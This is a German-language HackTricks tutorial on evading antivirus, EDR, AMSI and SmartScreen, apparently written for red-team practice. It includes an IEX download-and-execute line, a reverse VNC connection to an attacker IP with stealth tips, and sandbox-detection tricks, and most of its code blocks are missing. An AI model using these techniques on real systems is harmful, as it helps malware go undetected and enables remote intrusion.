Antivirus (AV) Bypass
Last updated
Last updated
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Diese Seite wurde geschrieben von @m2rc_p!
Derzeit verwenden AVs verschiedene Methoden, um zu überprüfen, ob eine Datei bösartig ist oder nicht: statische Erkennung, dynamische Analyse und für die fortschrittlicheren EDRs, Verhaltensanalyse.
Die statische Erkennung erfolgt durch das Markieren bekannter bösartiger Zeichenfolgen oder Byte-Arrays in einer Binärdatei oder einem Skript sowie durch das Extrahieren von Informationen aus der Datei selbst (z. B. Dateibeschreibung, Firmenname, digitale Signaturen, Symbol, Prüfziffer usw.). Das bedeutet, dass die Verwendung bekannter öffentlicher Tools dazu führen kann, dass du leichter erwischt wirst, da sie wahrscheinlich analysiert und als bösartig markiert wurden. Es gibt ein paar Möglichkeiten, diese Art der Erkennung zu umgehen:
Verschlüsselung
Wenn du die Binärdatei verschlüsselst, gibt es keine Möglichkeit für AV, dein Programm zu erkennen, aber du benötigst eine Art Loader, um das Programm im Speicher zu entschlüsseln und auszuführen.
Obfuskation
Manchmal musst du nur einige Zeichenfolgen in deiner Binärdatei oder deinem Skript ändern, um an AV vorbeizukommen, aber das kann je nach dem, was du obfuskieren möchtest, eine zeitaufwändige Aufgabe sein.
Eigene Tools
Wenn du deine eigenen Tools entwickelst, gibt es keine bekannten schlechten Signaturen, aber das erfordert viel Zeit und Mühe.
Eine gute Möglichkeit, die statische Erkennung von Windows Defender zu überprüfen, ist ThreatCheck. Es teilt die Datei in mehrere Segmente auf und fordert Defender auf, jedes einzeln zu scannen, sodass es dir genau sagen kann, welche Zeichenfolgen oder Bytes in deiner Binärdatei markiert sind.
Ich empfehle dir dringend, diese YouTube-Playlist über praktische AV-Evasion anzusehen.
Die dynamische Analyse erfolgt, wenn das AV deine Binärdatei in einer Sandbox ausführt und nach bösartiger Aktivität Ausschau hält (z. B. versucht, die Passwörter deines Browsers zu entschlüsseln und zu lesen, einen Minidump von LSASS durchzuführen usw.). Dieser Teil kann etwas kniffliger sein, aber hier sind einige Dinge, die du tun kannst, um Sandboxes zu umgehen.
Schlaf vor der Ausführung Abhängig davon, wie es implementiert ist, kann es eine großartige Möglichkeit sein, die dynamische Analyse von AV zu umgehen. AVs haben sehr wenig Zeit, um Dateien zu scannen, um den Arbeitsablauf des Benutzers nicht zu unterbrechen, daher können lange Schlafzeiten die Analyse von Binärdateien stören. Das Problem ist, dass viele AV-Sandboxes den Schlaf je nach Implementierung einfach überspringen können.
Überprüfung der Ressourcen des Systems Normalerweise haben Sandboxes sehr wenig Ressourcen zur Verfügung (z. B. < 2 GB RAM), da sie sonst die Maschine des Benutzers verlangsamen könnten. Du kannst hier auch sehr kreativ werden, indem du beispielsweise die Temperatur der CPU oder sogar die Lüftergeschwindigkeiten überprüfst; nicht alles wird in der Sandbox implementiert sein.
Maschinenspezifische Überprüfungen Wenn du einen Benutzer ansprechen möchtest, dessen Arbeitsstation mit der Domäne "contoso.local" verbunden ist, kannst du eine Überprüfung der Domäne des Computers durchführen, um zu sehen, ob sie mit der von dir angegebenen übereinstimmt. Wenn nicht, kannst du dein Programm beenden.
Es stellt sich heraus, dass der Computername der Sandbox von Microsoft Defender HAL9TH ist. Du kannst also den Computernamen in deiner Malware vor der Detonation überprüfen. Wenn der Name mit HAL9TH übereinstimmt, befindest du dich in der Sandbox von Defender, sodass du dein Programm beenden kannst.
Einige weitere wirklich gute Tipps von @mgeeky für den Umgang mit Sandboxes
Wie wir bereits in diesem Beitrag gesagt haben, werden öffentliche Tools letztendlich erkannt, also solltest du dir etwas fragen:
Wenn du beispielsweise LSASS dumpen möchtest, musst du wirklich mimikatz verwenden? Oder könntest du ein anderes, weniger bekanntes Projekt verwenden, das ebenfalls LSASS dumpet.
Die richtige Antwort ist wahrscheinlich Letzteres. Wenn man mimikatz als Beispiel nimmt, ist es wahrscheinlich eines der, wenn nicht das am häufigsten markierte Stück Malware von AVs und EDRs. Während das Projekt selbst super cool ist, ist es auch ein Albtraum, damit zu arbeiten, um an AVs vorbeizukommen. Suche also einfach nach Alternativen für das, was du erreichen möchtest.
Wenn du deine Payloads zur Umgehung modifizierst, stelle sicher, dass du die automatische Probenübermittlung in Defender deaktivierst, und bitte, ernsthaft, LADEN SIE NICHT AUF VIRUSTOTAL HOCH, wenn dein Ziel darin besteht, langfristig eine Umgehung zu erreichen. Wenn du überprüfen möchtest, ob deine Payload von einem bestimmten AV erkannt wird, installiere es auf einer VM, versuche, die automatische Probenübermittlung zu deaktivieren, und teste es dort, bis du mit dem Ergebnis zufrieden bist.
Wann immer es möglich ist, priorisiere die Verwendung von DLLs zur Umgehung. Meiner Erfahrung nach werden DLL-Dateien in der Regel deutlich weniger erkannt und analysiert, sodass es ein sehr einfacher Trick ist, um in einigen Fällen eine Erkennung zu vermeiden (wenn deine Payload natürlich eine Möglichkeit hat, als DLL ausgeführt zu werden).
Wie wir in diesem Bild sehen können, hat eine DLL-Payload von Havoc eine Erkennungsrate von 4/26 bei antiscan.me, während die EXE-Payload eine Erkennungsrate von 7/26 hat.
Jetzt zeigen wir einige Tricks, die du mit DLL-Dateien verwenden kannst, um viel stealthier zu sein.
DLL Sideloading nutzt die von dem Loader verwendete DLL-Suchreihenfolge aus, indem sowohl die Zielanwendung als auch die bösartigen Payload(s) nebeneinander positioniert werden.
Du kannst nach Programmen suchen, die anfällig für DLL Sideloading sind, indem du Siofra und das folgende PowerShell-Skript verwendest:
Dieser Befehl gibt die Liste der Programme aus, die anfällig für DLL-Hijacking in "C:\Program Files\" sind, sowie die DLL-Dateien, die sie zu laden versuchen.
Ich empfehle Ihnen dringend, DLL-hijackbare/sideloadbare Programme selbst zu erkunden. Diese Technik ist ziemlich stealthy, wenn sie richtig durchgeführt wird, aber wenn Sie öffentlich bekannte DLL-sideloadbare Programme verwenden, könnten Sie leicht erwischt werden.
Allein durch das Platzieren einer bösartigen DLL mit dem Namen, den ein Programm erwartet zu laden, wird Ihre Payload nicht geladen, da das Programm einige spezifische Funktionen innerhalb dieser DLL erwartet. Um dieses Problem zu beheben, verwenden wir eine andere Technik namens DLL-Proxying/Forwarding.
DLL-Proxying leitet die Aufrufe, die ein Programm von der Proxy- (und bösartigen) DLL an die ursprüngliche DLL macht, weiter und bewahrt so die Funktionalität des Programms und kann die Ausführung Ihrer Payload handhaben.
Ich werde das SharpDLLProxy Projekt von @flangvik verwenden.
Dies sind die Schritte, die ich befolgt habe:
Der letzte Befehl gibt uns 2 Dateien: eine DLL-Quellcodevorlage und die original umbenannte DLL.
Dies sind die Ergebnisse:
Sowohl unser Shellcode (kodiert mit SGN) als auch die Proxy-DLL haben eine 0/26 Erkennungsrate in antiscan.me! Ich würde das als Erfolg bezeichnen.
Ich empfehle dringend, dass Sie S3cur3Th1sSh1t's twitch VOD über DLL Sideloading ansehen und auch ippsec's Video, um mehr über das, was wir ausführlicher besprochen haben, zu erfahren.
Freeze ist ein Payload-Toolkit zum Umgehen von EDRs unter Verwendung von angehaltenen Prozessen, direkten Syscalls und alternativen Ausführungsmethoden
Sie können Freeze verwenden, um Ihren Shellcode auf eine stealthy Weise zu laden und auszuführen.
Evasion ist nur ein Katz-und-Maus-Spiel, was heute funktioniert, könnte morgen erkannt werden, also verlasse dich niemals nur auf ein Werkzeug. Wenn möglich, versuche, mehrere Evasionstechniken zu kombinieren.
AMSI wurde geschaffen, um "dateilose Malware" zu verhindern. Zunächst waren AVs nur in der Lage, Dateien auf der Festplatte zu scannen, sodass, wenn du es irgendwie schaffen konntest, Payloads direkt im Speicher auszuführen, der AV nichts tun konnte, um dies zu verhindern, da er nicht genügend Sichtbarkeit hatte.
Die AMSI-Funktion ist in diese Komponenten von Windows integriert.
Benutzerkontensteuerung oder UAC (Erhöhung von EXE, COM, MSI oder ActiveX-Installation)
PowerShell (Skripte, interaktive Nutzung und dynamische Codeauswertung)
Windows Script Host (wscript.exe und cscript.exe)
JavaScript und VBScript
Office VBA-Makros
Es ermöglicht Antivirenlösungen, das Verhalten von Skripten zu inspizieren, indem der Skriptinhalt in einer Form offengelegt wird, die sowohl unverschlüsselt als auch nicht obfuskiert ist.
Die Ausführung von IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
wird den folgenden Alarm bei Windows Defender erzeugen.
Beachte, wie es amsi:
voranstellt und dann den Pfad zur ausführbaren Datei angibt, von der das Skript ausgeführt wurde, in diesem Fall powershell.exe.
Wir haben keine Datei auf die Festplatte geschrieben, wurden aber trotzdem im Speicher aufgrund von AMSI erwischt.
Es gibt ein paar Möglichkeiten, um AMSI zu umgehen:
Obfuskation
Da AMSI hauptsächlich mit statischen Erkennungen arbeitet, kann das Modifizieren der Skripte, die du zu laden versuchst, eine gute Möglichkeit sein, um Erkennung zu umgehen.
Allerdings hat AMSI die Fähigkeit, Skripte zu deobfuskieren, selbst wenn sie mehrere Schichten haben, sodass Obfuskation je nach Ausführung eine schlechte Option sein könnte. Das macht es nicht so einfach, zu entkommen. Manchmal musst du jedoch nur ein paar Variablennamen ändern, und es wird funktionieren, also hängt es davon ab, wie stark etwas markiert wurde.
AMSI Bypass
Da AMSI implementiert ist, indem eine DLL in den PowerShell (auch cscript.exe, wscript.exe usw.) Prozess geladen wird, ist es möglich, damit leicht zu manipulieren, selbst wenn man als unprivilegierter Benutzer läuft. Aufgrund dieses Fehlers in der Implementierung von AMSI haben Forscher mehrere Möglichkeiten gefunden, um das AMSI-Scanning zu umgehen.
Einen Fehler erzwingen
Das Erzwingen des Fehlers bei der AMSI-Initialisierung (amsiInitFailed) führt dazu, dass für den aktuellen Prozess kein Scan initiiert wird. Ursprünglich wurde dies von Matt Graeber offengelegt, und Microsoft hat eine Signatur entwickelt, um eine breitere Nutzung zu verhindern.
Alles, was nötig war, war eine Zeile PowerShell-Code, um AMSI für den aktuellen PowerShell-Prozess unbrauchbar zu machen. Diese Zeile wurde natürlich von AMSI selbst markiert, daher sind einige Änderungen erforderlich, um diese Technik zu verwenden.
Hier ist ein modifizierter AMSI-Bypass, den ich aus diesem Github Gist entnommen habe.
Keep in mind, dass dies wahrscheinlich markiert wird, sobald dieser Beitrag veröffentlicht wird, also solltest du keinen Code veröffentlichen, wenn dein Plan ist, unentdeckt zu bleiben.
Memory Patching
Diese Technik wurde ursprünglich von @RastaMouse entdeckt und beinhaltet das Finden der Adresse für die Funktion "AmsiScanBuffer" in amsi.dll (verantwortlich für das Scannen der vom Benutzer bereitgestellten Eingaben) und das Überschreiben mit Anweisungen, um den Code für E_INVALIDARG zurückzugeben. Auf diese Weise wird das Ergebnis des tatsächlichen Scans 0 zurückgeben, was als sauberes Ergebnis interpretiert wird.
Bitte lies https://rastamouse.me/memory-patching-amsi-bypass/ für eine detailliertere Erklärung.
Es gibt auch viele andere Techniken, die verwendet werden, um AMSI mit PowerShell zu umgehen. Schau dir diese Seite und dieses Repo an, um mehr darüber zu erfahren.
Oder dieses Skript, das über Memory Patching jede neue Powershell patcht.
Es gibt mehrere Tools, die verwendet werden können, um C# Klartextcode zu obfuskieren, Metaprogrammierungsvorlagen zu generieren, um Binärdateien zu kompilieren oder kompilierte Binärdateien zu obfuskieren, wie zum Beispiel:
InvisibilityCloak: C# Obfuscator
Obfuscator-LLVM: Ziel dieses Projekts ist es, einen Open-Source-Fork der LLVM Kompilierungssuite bereitzustellen, der erhöhte Software-Sicherheit durch Code-Obfuskation und Manipulationssicherheit bietet.
ADVobfuscator: ADVobfuscator demonstriert, wie man die Sprache C++11/14
verwendet, um zur Compile-Zeit obfuskierten Code zu generieren, ohne externe Tools zu verwenden und ohne den Compiler zu modifizieren.
obfy: Fügt eine Schicht obfuskierten Operationen hinzu, die durch das C++-Template-Metaprogrammierungs-Framework generiert werden, was das Leben der Person, die die Anwendung knacken möchte, ein wenig schwieriger macht.
Alcatraz: Alcatraz ist ein x64-Binär-Obfuscator, der in der Lage ist, verschiedene PE-Dateien zu obfuskieren, einschließlich: .exe, .dll, .sys
metame: Metame ist eine einfache metamorphe Code-Engine für beliebige ausführbare Dateien.
ropfuscator: ROPfuscator ist ein feinkörniges Code-Obfuskations-Framework für LLVM-unterstützte Sprachen, das ROP (return-oriented programming) verwendet. ROPfuscator obfuskiert ein Programm auf der Ebene des Assemblercodes, indem reguläre Anweisungen in ROP-Ketten umgewandelt werden, was unser natürliches Verständnis des normalen Kontrollflusses untergräbt.
Nimcrypt: Nimcrypt ist ein .NET PE Crypter, der in Nim geschrieben ist.
inceptor: Inceptor kann vorhandene EXE/DLL in Shellcode umwandeln und sie dann laden.
Du hast vielleicht diesen Bildschirm gesehen, als du einige ausführbare Dateien aus dem Internet heruntergeladen und ausgeführt hast.
Microsoft Defender SmartScreen ist ein Sicherheitsmechanismus, der dazu dient, den Endbenutzer vor dem Ausführen potenziell schädlicher Anwendungen zu schützen.
SmartScreen funktioniert hauptsächlich mit einem reputationsbasierten Ansatz, was bedeutet, dass ungewöhnlich heruntergeladene Anwendungen SmartScreen auslösen und somit den Endbenutzer daran hindern, die Datei auszuführen (obwohl die Datei weiterhin ausgeführt werden kann, indem man auf Mehr Informationen -> Trotzdem ausführen klickt).
MoTW (Mark of The Web) ist ein NTFS Alternate Data Stream mit dem Namen Zone.Identifier, der automatisch beim Herunterladen von Dateien aus dem Internet erstellt wird, zusammen mit der URL, von der sie heruntergeladen wurden.
Es ist wichtig zu beachten, dass ausführbare Dateien, die mit einem vertrauenswürdigen Signaturzertifikat signiert sind, SmartScreen nicht auslösen.
Eine sehr effektive Möglichkeit, um zu verhindern, dass deine Payloads das Mark of The Web erhalten, besteht darin, sie in eine Art Container wie eine ISO zu verpacken. Dies geschieht, weil das Mark-of-the-Web (MOTW) nicht auf nicht NTFS Volumes angewendet werden kann.
PackMyPayload ist ein Tool, das Payloads in Ausgabedateien verpackt, um dem Mark-of-the-Web zu entkommen.
Beispielverwendung:
Hier ist eine Demo zum Umgehen von SmartScreen, indem Payloads in ISO-Dateien verpackt werden, mit PackMyPayload
Das Laden von C#-Binaries im Speicher ist schon seit einiger Zeit bekannt und es ist immer noch eine sehr gute Möglichkeit, Ihre Post-Exploitation-Tools auszuführen, ohne von AV erwischt zu werden.
Da die Payload direkt in den Speicher geladen wird, ohne die Festplatte zu berühren, müssen wir uns nur um das Patchen von AMSI für den gesamten Prozess kümmern.
Die meisten C2-Frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc usw.) bieten bereits die Möglichkeit, C#-Assemblies direkt im Speicher auszuführen, aber es gibt verschiedene Möglichkeiten, dies zu tun:
Fork&Run
Es beinhaltet das Erzeugen eines neuen opfernden Prozesses, injizieren Sie Ihren post-exploitation schädlichen Code in diesen neuen Prozess, führen Sie Ihren schädlichen Code aus und töten Sie den neuen Prozess, wenn Sie fertig sind. Dies hat sowohl Vorteile als auch Nachteile. Der Vorteil der Fork-and-Run-Methode ist, dass die Ausführung außerhalb unseres Beacon-Implantatprozesses erfolgt. Das bedeutet, dass, wenn etwas in unserer Post-Exploitation-Aktion schiefgeht oder erwischt wird, die Wahrscheinlichkeit viel größer ist, dass unser Implantat überlebt. Der Nachteil ist, dass Sie eine größere Chance haben, von verhaltensbasierten Erkennungen erwischt zu werden.
Inline
Es geht darum, den post-exploitation schädlichen Code in seinen eigenen Prozess zu injizieren. Auf diese Weise können Sie vermeiden, einen neuen Prozess zu erstellen und ihn von AV scannen zu lassen, aber der Nachteil ist, dass, wenn etwas mit der Ausführung Ihrer Payload schiefgeht, die Wahrscheinlichkeit viel größer ist, dass Sie Ihr Beacon verlieren, da es abstürzen könnte.
Wenn Sie mehr über das Laden von C#-Assemblies lesen möchten, schauen Sie sich bitte diesen Artikel an https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ und deren InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly)
Sie können auch C#-Assemblies aus PowerShell laden, schauen Sie sich Invoke-SharpLoader und S3cur3th1sSh1t's Video an.
Wie in https://github.com/deeexcee-io/LOI-Bins vorgeschlagen, ist es möglich, schädlichen Code mit anderen Sprachen auszuführen, indem man der kompromittierten Maschine Zugang zur Interpreterumgebung auf dem vom Angreifer kontrollierten SMB-Share gewährt.
Indem Sie den Zugriff auf die Interpreter-Binaries und die Umgebung auf dem SMB-Share erlauben, können Sie beliebigen Code in diesen Sprachen im Speicher der kompromittierten Maschine ausführen.
Das Repo weist darauf hin: Defender scannt weiterhin die Skripte, aber durch die Nutzung von Go, Java, PHP usw. haben wir mehr Flexibilität, um statische Signaturen zu umgehen. Tests mit zufälligen, nicht obfuskierten Reverse-Shell-Skripten in diesen Sprachen waren erfolgreich.
Umgehung ist ein sehr kompliziertes Thema, manchmal müssen Sie viele verschiedene Telemetriequellen in nur einem System berücksichtigen, sodass es ziemlich unmöglich ist, in reifen Umgebungen völlig unentdeckt zu bleiben.
Jede Umgebung, gegen die Sie vorgehen, hat ihre eigenen Stärken und Schwächen.
Ich empfehle Ihnen dringend, diesen Vortrag von @ATTL4S anzusehen, um einen Einblick in fortgeschrittene Umgehungstechniken zu erhalten.
Dies ist auch ein weiterer großartiger Vortrag von @mariuszbit über Umgehung in der Tiefe.
Sie können ThreatCheck verwenden, das Teile der Binärdatei entfernt, bis es herausfindet, welcher Teil von Defender als schädlich erkannt wird und es Ihnen aufteilt. Ein weiteres Tool, das dasselbe tut, ist avred mit einem offenen Webangebot, das den Dienst in https://avred.r00ted.ch/ anbietet.
Bis Windows 10 kam jeder Windows mit einem Telnet-Server, den Sie (als Administrator) installieren konnten, indem Sie:
Machen Sie es starten, wenn das System gestartet wird, und führen Sie es jetzt aus:
Ändern Sie den Telnet-Port (stealth) und deaktivieren Sie die Firewall:
Laden Sie es herunter von: http://www.uvnc.com/downloads/ultravnc.html (Sie möchten die Binärdownloads, nicht das Setup)
AUF DEM HOST: Führen Sie winvnc.exe aus und konfigurieren Sie den Server:
Aktivieren Sie die Option TrayIcon deaktivieren
Setzen Sie ein Passwort in VNC-Passwort
Setzen Sie ein Passwort in Nur-Anzeige-Passwort
Verschieben Sie dann die Binärdatei winvnc.exe und die neu erstellte Datei UltraVNC.ini in die Opfer
Der Angreifer sollte innerhalb seines Hosts die Binärdatei vncviewer.exe -listen 5900
ausführen, damit sie vorbereitet ist, eine umgekehrte VNC-Verbindung zu empfangen. Dann, innerhalb des Opfers: Starten Sie den winvnc-Daemon winvnc.exe -run
und führen Sie winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900
aus.
WARNUNG: Um die Tarnung zu wahren, dürfen Sie einige Dinge nicht tun
Starten Sie winvnc
nicht, wenn es bereits läuft, oder Sie lösen ein Popup aus. Überprüfen Sie, ob es läuft mit tasklist | findstr winvnc
Starten Sie winvnc
nicht ohne UltraVNC.ini
im selben Verzeichnis, da dies das Konfigurationsfenster öffnet
Führen Sie winvnc -h
nicht zur Hilfe aus, oder Sie lösen ein Popup aus
Laden Sie es herunter von: https://github.com/GreatSCT/GreatSCT
Innerhalb von GreatSCT:
Jetzt starten Sie den Lister mit msfconsole -r file.rc
und führen Sie die xml payload mit aus:
Der aktuelle Defender wird den Prozess sehr schnell beenden.
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
Kompilieren Sie es mit:
Verwenden Sie es mit: